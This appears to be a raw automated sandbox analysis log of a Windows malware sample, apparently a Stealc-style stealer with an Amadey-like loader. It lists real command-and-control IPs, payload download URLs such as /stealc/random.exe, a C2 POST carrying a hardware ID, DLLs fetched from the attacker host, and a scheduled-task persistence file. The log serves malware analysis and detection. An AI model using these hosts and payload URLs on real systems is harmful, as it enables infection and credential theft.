Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 10_2_00F1BD30 InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile,

10_2_00F1BD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 30 30 34 37 42 42 42 30 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="hwid"F10047BBB0B83946098432------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build"default------GCGCFCBAKKFBFIECAEBA--

Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp, Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exeAppData
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp, Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe-Disposition:
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.0000000000548000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeFr
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe5067
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeS
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeX
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeurlencoded
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000A.00000002.3339390181.00000000018B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php-
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php5
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php=
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpV
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpa=
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpe
Source: explorti.exe, 0000000A.00000002.3339390181.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpg
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019EE000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/6
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dllV
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dllBn
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dllb
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dllh
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dllm
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A05000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp, 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpZ
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpft
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phps
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.000000000174E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpu
Source: 6e6e496542.exe, 0000000C.00000002.2417828325.0000000001715000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/y
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.00000000019EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr
Source: Rnteb46TuM.exe, random[1].exe.10.dr, 6e6e496542.exe.10.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Rnteb46TuM.exe, Rnteb46TuM.exe, 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Rnteb46TuM.exe, 00000000.00000002.2316554631.000000001D0FF000.00000004.00000020.00020000.00000000.sdmp, Rnteb46TuM.exe, 00000000.00000002.2330958093.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JKKEHJDH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: JKKEHJDH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: JKKEHJDH.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JKKEHJDH.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JKKEHJDH.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001A69000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JKKEHJDH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000064A000.00000040.00000001.01000000.00000003.sdmp, Rnteb46TuM.exe, 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/ECAAECGD
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.000000000064A000.00000040.00000001.01000000.00000003.sdmp, Rnteb46TuM.exe, 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Rnteb46TuM.exe, 00000000.00000002.2295449194.00000000005A6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/npvZC5maWxl
Source: BKJEGDGIJECGCBGCGHDGIEGCBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Rnteb46TuM.exe, 00000000.00000002.2299175818.0000000001B74000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name:
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name: .idata
Source: AFBFHDBKJE.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.8.dr	Static PE information: section name:
Source: explorti.exe.8.dr	Static PE information: section name: .idata
Source: explorti.exe.8.dr	Static PE information: section name:

PE file has nameless sections

Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: Rnteb46TuM.exe	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:
Source: 6e6e496542.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C7FB700
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7FB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C7FB8C0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C7FB910
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C79F280

Source: C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_0077F944	0_2_0077F944
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7935A0	0_2_6C7935A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7A5440	0_2_6C7A5440
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D5C10	0_2_6C7D5C10
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7E2C10	0_2_6C7E2C10
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C80AC00	0_2_6C80AC00
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7D6CF0	0_2_6C7D6CF0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C79D4E0	0_2_6C79D4E0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7BD4D0	0_2_6C7BD4D0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C80542B	0_2_6C80542B
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7A64C0	0_2_6C7A64C0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C80545C	0_2_6C80545C
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7F34A0	0_2_6C7F34A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7FC4A0	0_2_6C7FC4A0
Source: C:\Users\user\Desktop\Rnteb46TuM.exe	Code function: 0_2_6C7A6C80	0_2_6C7A6C80
